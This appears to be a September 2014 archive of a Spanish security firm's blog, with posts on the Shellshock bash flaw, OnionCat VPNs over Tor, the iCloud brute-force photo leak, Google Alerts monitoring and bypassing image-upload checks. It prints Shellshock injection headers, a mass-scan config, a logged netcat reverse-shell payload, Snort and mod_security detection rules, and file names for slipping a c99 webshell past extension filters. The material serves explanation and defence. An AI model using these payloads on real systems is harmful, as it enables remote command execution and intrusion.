Monthly Archives: septiembre 2014

  • 0

Shellshock. Vulnerabilidad encontrada en Bash

ShellShock

La vulnerabilidad llamada CVE-2014-6271o y CVE-2014-7169 o mas conocida como “Shellshock” se publico el día 24/09/14 y pronto salto a las webs y blogs especializados en seguridad. Poco mas tarde al darse cuenta del alcance de la vulnerabilidad salto a los medios de comunicación.

Figura 1: Ejemplo de la noticia en un medio de comunicación "de masas".

Figura 1: Ejemplo de la noticia en un medio de comunicación “de masas”.

Esta vulnerabilidad consiste en usar variables para engañar a un shell tipo bash para que ejecute cualquier tipo de programa o comando. Esta vulnerabilidad afecta a todos o casi todos los sistemas operativos que deriven de unix. Afectando a cualquier servicio que corren en dichos sistemas operativos, como servidores webs, servidores DHCP,  etc. Desde TeamSec les recomendamos urgentemente actualizar sus servidores con los parches del proveedor.

Esta vulnerabilidad es tan critica y se explica por que se la ha catalogado como nivel 10, que es el mas alto, de la escala CVSS v2. Esta escala indica por un lado si la vulnerabilidad es explotable desde el exterior, luego si es fácil de explotar y por último si su explotación pone en peligro la integridad del sistema vulnerable. Esta vulnerabilidad según su rango, es muy fácil de explotar, ademas de ser explotable desde el exterior y su explotación pone gran peligro la integridad del sistema.

Este fallo, en resumen, puede permitir a atacantes malintencionados tomar fácilmente el control de servidores web. Servidores con sistema operativo que usan bash, como linux, MacOS o BSD podrían verse afectados en especial los que tengan servicios de Internet expuestos.

 

¿Cuantos servidores pueden estar afectados?

A modo de ejemplo, y para hacernos una idea de a cuantos servidores puede afectar, en la siguiente gráfica de Netcraft podemos ver el tanto por ciento de utilización de los diferentes servidores webs que están activos. Los datos son de Septiembre del 2014.

Figura 2: Estadísticas de la web de Netcraft sobre software usado en servidores web.

Figura 2: Estadísticas de la web de Netcraft sobre software usado en servidores web.

Según esos datos, podríamos decir que podrían estar afectados mas del 50% del total de servidores en el mundo.

¿Como saber si un servidor es vulnerable?

En principio es fácil basta en una shell del sistema ejecutar esta pequeña linea.

env x='() { :;}; echo Si sale esta linea su sistema es vulnerable' bash -c "echo Esto es un Test"

La ejecución de esta linea en un sistema vulnerable a este problema seria parecido a esto.

Figura 3: Resultado de la ejecución de un script en un sistema vulnerable.

Figura 3: Resultado de la ejecución de un script en un sistema vulnerable.

En cambio, si por el contrario nuestro sistema no es vulnerable nos saldría solo la linea “Esto es un Test”, como podemos comprobar en el siguiente ejemplo.

Figura 4: Resultado de la ejecución de un script en un sistema NO vulnerable.

Figura 4: Resultado de la ejecución de un script en un sistema NO vulnerable.

Ataque tipo vía web

Lo que hemos visto anteriormente era como desde una cuenta local se comprobaba si el servidor era vulnerable. Pero como hemos indicado anteriormente, no solo esta vulnerabilidad puede ser explotada localmente, también puede ser explotada remotamente. Y no hay mejor ejemplo que ver como se puede explotar en un servidor web.

Debe quedar claro, que es un ejemplo el ataque a un servidor web. No solo este tipo de servicios son vulnerables sino que lo son cualquiera que pueda recibir parámetros vía el exterior, como un servidor DCHP, SSH, etc.

Existen una cantidad ingente de exploits que se valen de esta vulnerabilidad para llegar a tener un control total sobre los sistemas vulnerables. Un  ejemplo de este tipo de exploits lo podemos encontrar en esta URL:

http://pastebin.com/search?cx=013305635491195529773%3A0ufpuq-fpt0&cof=FORID%3A10&ie=UTF-8&q=CVE-2014-6271&sa.x=12&sa.y=11

De una manera mas “manual”  el ataque a un servidor web se realiza ademas de metiendo la inyección en la propia petición GET, también se puede realizar en cualquiera del resto de campos que se envían al realizar la solicitud.

Por ejemplo, una solicitud normal a un servidor web seria:

Host: x.x.x.x
Accept: */*
Cookie: NO-Cookie
Referer: http://google.com
User-agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0

En cambio si queremos explotar esta vulnerabilidad seria de la siguiente manera:

Host: x.x.x.x
Accept: */*
Cookie: () { :; }; /bin/ping -c 1 
Referer: () { :; }; /bin/ping -c 1 
User-agent: () { :; }; /bin/ping -c 1 

Si esto lo queremos meter en un script para poder comprobar si la red que administramos es vulnerable seria tan sencillo como realizar las pruebas con los siguientes parámetros usando el siguiente script https://github.com/robertdavidgraham/masscan/blob/master/src/proto-http.c#L120. Eso si, cambiando el valor de la variable “target” por nuestra red, y la IP “1.2.3.4” por una IP de una maquina que controlemos para monitorizar los paquetes ICMP que recibirá de las maquina vulnerables.

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = Shellshock Scan-TeamSec (http://teamsec.es/blog/)
http-header = Cookie:() { :; }; ping -c 3 1.2.3.4
http-header = Host:() { :; }; ping -c 3 1.2.3.4
http-header = Referer:() { :; }; ping -c 3 1.2.3.4

¿Como podemos monitorizar estos ataques?

Como ejemplo de log del Apache de un ataque de este tipo, podemos ver en la siguiente linea intentan explotar la vulnerabilidad ejecutando como comando un shell inverso a la maquina del atacante al puerto 4444 (/bin/nc -e /bin/sh YYY.YYY.YYY.YYY 4444 &).

XXX.XXX.XXX.XXX - - [26/Sep/2014:10:37:34 +0200] "GET /cgi-bin/poc.cgi HTTP/1.1" 200 1066 "-" "() { v:; }; /bin/nc -e /bin/sh YYY.YYY.YYY.YYY 4444 &”

Para monitorizar este tipo de ataques dependemos del tipo de plataforma que usemos para dicha monitorización. Por ejemplo, nosotros tenemos una plataforma que hace poco la hemos instalado en un cliente que a traves de una serie de sondas monitoriza toda su red.

Ejemplos de este tipo de reglas para la sonda Snort que hemos implementado son:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"%3D%28%29+%7B"; fast_pattern:only; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31975; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_client_body; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31976; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_uri; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31977; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_header; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31978; rev:3;)
alert udp $HOME_NET 67 -> $HOME_NET 68 (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in DHCP server"; flow:stateless; content:"() {"; fast_pattern:only; content:"|02 01 06 00|"; depth:4; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service dhcp; reference:cve,2014-6271; reference:cve,2014-7169; classtype:attempted-admin; sid:31985; rev:3;)

Mitigación

La principal medida de minimizar los riesgos es la instalación del parche correspondiente. Puede haber sistemas que por la razón que sea, no existe el parche, es un sistema critico que debe pasar una serie de controles antes de la instalación de un parche, etc, nos es imposible el parcheo. En estos casos se podrían implementar contramedidas que paliaran en lo posible un hipotético ataque a la plataforma.

Apache con mod_security

Si disponemos de un servidor Apache con el modulo Mod_security, podemos añadir estas lineas en la configuración para mitigar en la medida de lo  posible este tipo de ataques:

# ShellShock bash vulnerabilidad CVE-2014-6271 y CVE-2014-7169
RewriteCond %{HTTP_USER_AGENT} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_REFERER} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_COOKIE} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_HOST} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_FORWARDED} (()s{s+:s*;s*}s*;)
RewriteRule Block_This_URL - [F,L]

Modificando las varibales que se cargan en el shell .bashrc

Otra manera de mitigar este tipo de problemas es modificando el fichero “~/.bashrc”. Este fichero en un sistema unix es donde se definen las variables de entorno para que el Bash las carge antes de realizar o ejecutar cualquier comando. La ruta “~/” define el HOME del usuario en cuestion.

Deberemos de añadir estas dos lineas al final de dicho fichero con lo que cualquier intento de explotacion de esta vulnerabilidad no lo conseguira.

env x='() { :;}; echo "WARNING: SHELLSHOCK DETECTED"' 
    bash --norc -c ':' 2>/dev/null;

Conclusión

Desde TeamSec creemos que es una vulnerabilidad lo suficientemente importante como para realizar un parcheo del sistema para corregirlo. Por eso les recomendamos que se pongan en contacto con el fabricante para solicitarle asesoramiento y los parches necesarios para corregir el problema.

Al igual que cuando ocurrió con el heartbleed, se ha creado una web para informar sobre la vulnerabilidad. Los efectos que puede ocasionar la explotación de la vulnerabilidad, y sobre todo dan unas nociones de como aplicar los parches a cada uno de los sistemas afectados shellshocker.net.

 

Les recordamos que nuestra empresa estaría encantada de asesorar les para confirmar que sus sistemas son o no vulnerables a este tipo de ataques y después ayudarles a la instalación de los parches o lo que haga falta para hacer sus sistemas y servicios mucho mas seguros.

 

Actualizacion (30/09/2014)

Se han ido encontrando mas vulnerabilidades que tienen que ver con el tipo de Shellshock. La manera de comprobar estas difiere un poco unas de otras pero todas usan de igual manera las variables.

 

Vulnerabilidad Método de prueba
CVE-2014-6271
+env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
CVE-2014-7169
env X='() { (a)=>' bash -c "echo date"; cat echo
CVE-2014-7186
bash -c 'true <
CVE-2014-7187
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"
CVE-2014-6277
foo='() { echo "CVE-2014-6277 vulnerable"; }' bash -c foo

 


  • 0

Onioncat redes VPN sobre i2p/Tor

oc_switch

¿Que es OnionCat?

OnionCat es un adaptador VPN que permite conectar dos computadoras o redes a través de túneles VPN. Existen aplicaciones que permiten crear redes VPN entre iguales, tales como openvpn, ssh, etc, en el caso de OnionCat es diferente por que estas redes se crean usando redes anónimas como pueden ser i2p o Tor.

En este caso la comunicación de esta VPN se establece previo al circuito de tor o i2p, donde cada punto final de la red, está precedido por 3 nodos de la red de tor (en el caso de usar tor). Lo que vendrían a ser un total de 6 nodos 3 por cada punto, además añade una capa más de cifrado haciendo que el spoofing sea prácticamente imposible.

OnionCat utiliza los hiddens services de tor. Asocia la interfaz virtual tun/tap al hidden service de OnionCat utilizando para ello ip6. OnionCat asignará una ip versión 6 automáticamente basándose en el hostname del hidden service de la máquinaque inicie la conectividad. Los hidden services de TOR usan direciones *.onion para localizar estos servicios cuya longitud es de 80 bits, mientras ip6 utiliza direcciones de 128 bits, siendo los 128 bits de este último suficientes como para transformar las direcciones de ipv6 a .onion y viceversa.

Dicho de manera mas clara, el sistema primero tiene acceso a Internet. Luego se conecta a Tot o i2p de manera segura y anónima y sobre esa capa lanza la VPN que se conecta al destino. Todo esto hace imposible que si alguien “pincha el cable” pueda interpretar el trafico que pasa por ese cable haciendo la comunicación muy segura.

Figura 1: Esquema de conexión de OnionCat.

Figura 1: Esquema de conexión de OnionCat.

¿Para que puede servir OnionCat?

Puedes ser una opción muy interesante si se quiere por ejemplo securizar una comunicación sobre la red de tor o i2p sin que los participantes revelen su ubicación. Si por ejemplo se usa Internet para realizar esta comunicación las Ips de los participantes son publicas, es mas, un tercero podría conocer el trafico que se envía y recibe entre los participantes. Si se usa algún sistema de VPN los administradores de esas VPNs conocen las IPs de los integrantes. En cambio con el sistema OnionCat se garantiza el anonimato de todos los participantes e incluso del trafico que se intercambia entre ellos.

A nivel empresarial puede ser una solución económica frente a soluciones de vpns de pago y no implica realizar complicadas configuraciones en redes y/o firewalls.

¿Como instalamos y configuramos OnionCat?

OnionCat esta pensado para ejecutarse sobre sistemas unix, pero puede instalarse y ejecutarse sobre windows con el emulador cygwin

apt-get install onioncat
ocat -i $(`cat /tor/lib/hidden_service_onioncat/hostname`)
ifconfig tun0 

Tras ejecutar el comando “ocat -i $(`cat /tor/lib/hidden_service_onioncat/hostname`)” este debería levantar una interface tun0 que será la que inicie la conexión contra los hidden services de TOR.

Presentación en la 25c3: OnionCat — A Tor-based Anonymous VPN


  • 0

Apple, el brute forcing and #TheFappening

findmyiphone
Estos días ha ocurrido algo que era de esperar, otra vez se nos confirma que la seguridad en los móviles esta infravalorada.

La providencia me hizo escribir un post al respecto justo antes de que comenzase el periodo estival, “owasp mobile security” donde describí en gran parte cuales eran las principales amenazas para la seguridad de los móviles y su categorización según OWASP.

 

A la luz salió entonces este script, como no, en python con el nombre id_brute.py, descargable en id_brute.py

Pues no ha tardado mucho tiempo en producirse lo que muchos temían, un fallo de seguridad bastante grave ha hecho que se vulnere la privacidad de gente famosa. La ley de Murphy se vuelve a cumplir.

Apple en este caso, ha sido víctima de un ataque de fuerza bruta a datos privados de usuarios de su nube, a través de un script escrito en python que brutea las credenciales del usuario de una aplicación concreta.

Ha habido muchas declaraciones acerca de quien tiene la culpa, algunos dicen que si apple, otros que la app, algunos incluso hablan de los famosos y sus claves.

Arrojando un poco de luz sobre todo esto:

Supuestamente para utilizar un servicio apple solicita varios tokens, sin embargo en el script, se puede leer esta línea de código donde el ID del iphone (uno de estos tokens de seguridad) se crea como una variable estática, de hecho el comentario en el código es “créala aleatoriamente!”.

¿Según esto, apple habría obivado ese token a la hora de acceder a la nube?

#make it random!
"deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622",

Otros hablan de un ataque más dirigido, ¿Es posible que el hacker utilizase alguna técnica de phising para extraer esos Ids y luego usarlos en su script? Se habla de que es posible que el hacker sacase los datos de los IDs a través del servicio “Find My Iphone”, también, al perecer con un ataque de fuerza bruta.

 

 

En cualquier caso, a nuestro modo de ver, el gran fallo es de apple. Puesto que, los servicios de almacenamiento en la nube son de ellos y ellos son los que deberían encargarse de la seguridad. Ellos son los responsables últimos de que sus APIs manejen estos tokens supernecesarios de seguridad y ellos deberían ser los que aclarasen cual a sido el problema. Esta descrito como M5 Poor Authorization and Authentication Según la categoría OWASP para este tipo de riesgo. No porque la autorización sea pobre, sino porque no ofrece ninguna prevención contra la fuerza bruta aparentemente.

En cuanto a las fotos, nada espectaculares, ni siquiera excitantes, algunas un poco íntimas, en internet se han creado canales con el nombre #TheFappening, subreddits, etc y cientos de salidos las han guardado cual Golum con el anillo de poder (su tesoro). Algunos famosos se lo han tomado mejor que otros y se prepara una lluvia de demandas.

En cualquier caso, volvemos a insistir: Las passwords tienen que ser seguras, confiar la seguridad a un grupo pequeño pero poderoso de compañías, no va a hacer más que esas compañías sean objetivo de continuos ataques a sus usuarios, es lógica pura.

Entramos en una era donde confiamos la seguridad de nuestros datos a potencias extranjeras, empresas multinacionales, etc sin pararnos a pensar en la seguridad de nuestros datos. No voy a cuestionar aquí los beneficios de la nube, si no obstante los beneficios de una nube con sistemas de cifrado de datos en el almacenamiento o simplemente que las aplicaciones cifren los datos de los usuarios.

Sinceramente creemos que nunca se sabrá la verdad de como se hizo el ataque. Apple dirá que sus sistemas son seguros, que no han tenido brechas de seguridad. Los expertos de seguridad crearan teorías mas o menos elaboradas sobre como pudo pasar. Y el usuario … seguirá siendo el usuario, que con tener su móvil “chulo” de ultima generación que tenga unos iconos superchulos, estará satisfecho. Al final todos pensamos que “Eso nunca me puede pasar a mi”. Lo malo es que si te puede pasar. En eso vamos a agradecer al hacker darnos una lección sobre seguridad, ya que si los que padecieran esta intromisión no fueran famosos quizás nadie prestaría atención a la seguridad de sus dispositivos


  • 0

Monitorizar nuestro blog/web usando Google Alerts

Imaginémonos que disponemos de un blog o una web y que queremos que esté monitorizada para evitar que nos metan algún tipo de malware, o simplemente modifiquen alguna página de las creadas, o en general cualquier tipo de cambio que se pueda hacer en las páginas que tenemos. Pero claro, no disponemos de los medios, tiempo o cualquier excusa, para montar una arquitectura de monitorización. Porque al final son plataformas caras que no siempre compensan para una única pagina web.

Existe una herramienta que nos puede ayudar a solventar este problema. Nunca será como montar un sistema que nos avise cuando se produce el hecho, pero sí  tendremos por lo menos algo a lo que prestar atención. Y como se suele decir, mejor tener algo que nada.

Esa herramienta es una funcionalidad de Google que se llama Alerts “https://www.google.com/alerts”. Esta herramienta de Google está enlazada con nuestra dirección de correo de gmail. Se configura creando Alertas como las llaman ellos o Búsquedas en su web, y nos avisa cuando recibe una nueva página que cumple con la ocurrencia. Dicho en otras palabras cuando una página con lo que digamos que monitorice se mete en el buscador de Google, nos enviará un correo con un enlace a esa página.

Lo primero que debemos hacer es entrar en la página de Alertas de Google para crear una alerta. El enlace está en el párrafo anterior. Nos saldrá una pantalla en la que aparece lo siguiente:

Figura 1: Pagina donde se define la búsqueda en Google Alerts.

Figura 1: Página donde se define la búsqueda en Google Alerts.

En ese formulario es donde definiremos la búsqueda o alerta que nos enviará Google cuando encuentre una página.

En nuestro caso, por ejemplo, queremos monitorizar este blog, además tenemos que comprobar que no añaden malware bancario, o similar. La búsqueda podría ser algo así:

site:teamsec.es gmail OR Dropbox OR Amazon OR PayPal OR Deutsche OR Postbank OR Google OR RBC OR Sparkasse OR Poste OR Italiane

La explicación:

  • site: indicamos el dominio del blog o dirección donde se buscarán las entradas (ejemplo: teamsec.es)
  • <palabra de búsqueda>: buscará esa palabra en las nuevas páginas que indexe.
  • OR: enlazamos palabra por palabra para que la búsqueda sea algo así “envíame un correo si encuentras las palabras <palabra1> o la <palabra2> o […] que estén en las páginas del sitio teamsec.es”

Si escribimos la búsqueda en el formulario, deberemos pulsar seguidamente en “Show Options”, “Mostrar Opciones” o similar. Nos aparecerán las opciones de búsqueda, si solo buscaremos en paginas en Ingles, español, etc, cada cuanto enviará la alarma, etc.

Figura 2: Opciones de definición de Alerta en Google.

Figura 2: Opciones de definición de Alerta en Google.

La recomendación es que en las opciones nos envíen un correo cuando pase la alerta (opción 1), que las fuentes sean “automáticas” (opción 2), que sea cualquier idioma (opción 3), cualquier región (opción 4), que envíe todos los resultados (opción 5). Quedaría algo así.

Figura 3: Resultado con las recomendaciones de la alerta de motorización.

Figura 3: Resultado con las recomendaciones de la alerta de motorización.

Sólo falta pulsar sobre el botón de “Create Alert” y se creará la alerta para la búsqueda que hemos especificado. Ahora cada vez que el motor de búsqueda de Google cachee una página con esas palabras me enviará un correo electrónico indomesticado.

Como hemos visto es una manera sencilla y barata de monitorizar cambios en un Web o blog.

 


  • 0

Hacking con imágenes 2

En un post anterior se describió un posible ataque a través de imágenes bmp, esta vez vamos a hablar de otro tipo de ataque pero también a través de imágenes. La diferencia es que, esta vez, el ataque es del lado del cliente y/o servidor que funciona con imágenes de tipo jpg.

El peligro puede venir de parte del lado del servidor, siempre que en una web exista algún método de subir una imagen jpg. Este problema es muy típico que en foros y otros sitios web donde el usuario tiene permitido subir imágenes y compartirlas con los demás usuarios.

A grandes rasgos el problema se produce al no comprobar el servidor si la “supuesta” imagen que sube el usuario es en realidad una imagen.

Vamos a ver como se puede aprovechar las medidas que se usan para comprobar el código fuente del lado de un servidor, en el siguiente codigo vemos que el servidor comprueba si el tipo del fichero subido es “image/jpg”. Veamos un ejemplo:

<input name="fileToUpload" type="file" onchange="check_file()" >
if($_FILES['userfile']['type'] != "image/jpg")

Muchas veces los programadores utilizarán un código similar que  hace lo que se supone debe hacer, checkea el archivo para comprobar la extensión de lo subido. Lo malo es que si solo hace la comprobación del tipo de archivo al que se refiere se puede truncar esta medida de comprobación cambiando por ejemplo la extensión del archivo.

Por ejemplo, en programación esto definiría los tipos de extensiones permitidas.

$valid_file_extensions = array(".jpg", ".jpeg", ".gif", ".png");

Hay que tener muy en cuenta la hora de filtrar las entradas de usuario que pueden reportar un comportamiento distinto al esperado e implementarlo a través de la programación.

Funciones como strrchr dan mucho juego pues puede ser utilizado para que se consiga baypassear esta comprobación.

$file_extension = strrchr($_FILES["file"]["name"], ".");

Ejemplo de posibles intentos que en muchos casos pueden llegar a funcionar, al subir una imagen a una web que solo comprueba alguna función del tipo strrchr. Con imaginación , alguien maliciosamente podría testear funciones e intentar subir una webshell como c99. Tenemos un ejemplo de este tipo en la siguiente URL http://www.php.net/manual/en/function.strrchr.php

c99.jpg.php – Es posible que llegue a satisfacer la subida del jpg

c99.jpg.PhP – Ofuscación.

c99.php;.jpg – A veces puede ignorar lo que hay detrás de un ;

c99.php.test – Puede ser que se ignore .test

c99.php.xxxjpg – Es posible que invalide el final xxxjpg por invalido

De nuevo, para explotar este tipo de vulnerabilidad, necesitaremos de algo que convierta una imagen esta vez jpg, en una webshell con código malicioso. Esta herramienta nos permite utilizar el espacio de de los metadatos que contiene un jpg para insertar ese código. Simplemente genial.

http://kaoticcreations.blogspot.co.uk/2013/10/ohno-evil-image-builder-meta-manipulator.html

Desde el punto de vista de la programación cada vez más, se están estableciendo unos patrones de metodología de control del desarrollo de la aplicación a nivel de la seguridad. Existen una serie de metodologías que ayudan a realizar ese tipo de comprobaciones. Entendemos que esto es algo que no debe estar resumido en una API de control de usuarios, sino como parte de una rutina que el programador debe asumir además como llevar un control de excepciones (exceptions, errors, etc) que pueda reportarle la aplicación. Se puede resumir en no dejar cabos sueltos, ya que el no tratarlos correctamente puede terminar por convertirse en una vulnerabilidad y ser explotada.

Por todo ello es recomendable que para cualquier proyecto existan una serie de protocolos, metodologías, asesores que guíen en todas las fases de vida de dicho proyecto desde el punto de vista de la seguridad. Cuanto antes se introduzcan expertos o metodologías de seguridad en un proyecto ayudara a que los costes de los cambios sean mínimos si lo comparamos con los costes que se pueden dar en, por ejemplo, reestructurar una herramienta para implementar contramedidas para que los “usuarios” no suban ficheros que no debieran.

Recordar que la seguridad es una lucha de todos, tanto de los que prestan los servicios (web, programas, etc) como del usuario. La seguridad debe de ser proactiva por ambas partes.

Nuestra empresa estará encantada de ayudarles en sus proyectos de seguridad con un grupo de profesionales altamente cualificados que darán soluciones a sus problemas y necesidades